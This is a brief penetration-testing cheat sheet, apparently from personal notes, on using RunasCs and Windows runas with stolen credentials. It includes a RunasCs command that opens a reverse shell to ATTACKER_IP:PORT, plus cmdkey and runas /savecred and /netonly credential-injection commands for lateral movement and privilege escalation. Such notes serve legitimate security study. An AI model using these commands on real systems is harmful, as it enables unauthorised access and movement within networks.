Runas
Use case:
Use this when we have found credentials for a user, but we have no other methods to authenticate (Win-RM, etc). Essentialy, we inject the credentials found in memory to authenticate with these valid credentials. Can be used to switch users on the current host only!
Github repo: https://github.com/antonioCoco/RunasCs/releases/tag/v1.5
Command:
.\RunasCs.exe USERNAME PASSWORD cmd.exe ATTACKER_IP:PORT (Execute a reverse shell as the authenticated user for lateral movement/privesc)More Commands
1)
cmdkey /list2)
runas /savecred /user:USER\DOMAIN cmd.exeCredential Injection
runas.exe /netonly /user:DOMAIN\USERNAME cmd.exeUse credentials we found in case that we don't know where to exactly use them.
TIP:
With /netonly, it can accept any password.
Last updated